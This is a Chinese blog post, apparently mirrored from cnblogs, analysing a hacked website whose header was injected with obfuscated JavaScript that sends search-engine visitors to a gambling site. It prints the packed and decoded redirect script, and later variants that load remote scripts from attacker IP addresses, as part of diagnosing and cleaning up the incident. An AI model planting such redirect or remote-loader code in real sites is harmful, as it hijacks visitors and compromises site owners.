zoukankan      html  css  js  c++  java
  • 记一次首页被篡改自动跳转菠菜站的经历

    前言

    前几日,百度搜前东家的网站,突然发现网站description变成了菠菜站的简介,这是被黑了节奏啊.
    具体表现为从搜索引擎点击进入的时候,会自动跳转到菠菜站,直接输入网址访问不跳转,

    排查

    一切问题在源码下,皆无可遁形,此类跳转,一般会在header中,这样跳转快速,果不其然,在header中发现了一段代码,如下

    它是ENV加密的,不方便阅读.

    eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('2.3("<4 8=\"a\">");2.3("d s=2.6");2.3("7(s.1(\"9\")>0 || s.1(\"b\")>0 || s.1(\"c\")>0 ||s.1(\"r\")>0 ||s.1(\"e\")>0 ||s.1(\"f\")>0 ||s.1(\"g\")>0 ||s.1(\"h\")>0 )");2.3("i.j=\"k://l.m.n.o:p/q.5\";");2.3("</4>");',29,29,'|indexOf|document|writeln|script|html|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|103|37|233|13|888|bcs|sm|'.split('|'),0,{}))
    

    解密后

    <script LANGUAGE="Javascript">;
    var s=document.referrer;
    if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )
    location.href="http://103.37.233.13:888/bcs.html";
    </script>
    

    原理

    • 获取来源
    • 匹配是否来自符合条件的搜索引擎
    • 符合则跳转到指定页面

    可以看出此段代码匹配的搜索引擎基本覆盖了国内的主流(百度,搜狗,360搜索,神马,uc,bing,雅虎),只要你是通过这些浏览器进行搜索,皆会跳转到菠菜站.
    而且直接输入网址,并不会触发跳转,所以有一定的隐蔽性

    解决方案

    • 将这段js代码删除即可
    • 检查服务器或者程序漏洞,排查为何被入侵,现在服务器被挖矿,也挺常见的,被黑后,要多注意是否被挖矿

    后续

    发现他们升级了,在头部插入

    <script type="text/javascript" rel="nofollow" src="http://103.30.4.96:7889/js/SCur.js" ></script>
    

    他们还加入了百度统计

    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "https://hm.baidu.com/hm.js?9a4c62a1985e8fbd8d0ce7c1a54070d1";
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(hm, s);
    })();
    
    document.write("<script language="javascript" type="text/javascript" src="http://103.30.4.96:7889/js/PicLeft.js"></script>");
    

    原理还是如此,不过加入了统计,可能是更方便监控浏览次数,多跳转几次,这样也方便他们更换控制脚本

    给前同事发去了提醒,我搜所了一下,被类似手法黑掉的网站不在少数,给一些留了联系方式的网站,顺便发去了提醒,心想能收到一声谢谢,结果.........

    工具

  • 相关阅读:
    JAVA多线程编程设计模式:总结
    JAVA多线程编程设计模式:Half-sync/Half-async(半同步/半异步)模式
    JAVA多线程编程设计模式:Pipeline(流水线)模式
    尚学堂Spring视频教程(七):AOP XML
    尚学堂Spring视频教程(六):AOP Annotation
    JAVA基础知识:网络
    JAVA基础知识:IO
    JAVA基础知识:容器
    Java基础知识:代理
    尚学堂Spring视频教程(五):Spring AOP
  • 原文地址:https://www.cnblogs.com/liuyublog/p/9592582.html
Copyright © 2011-2022 走看看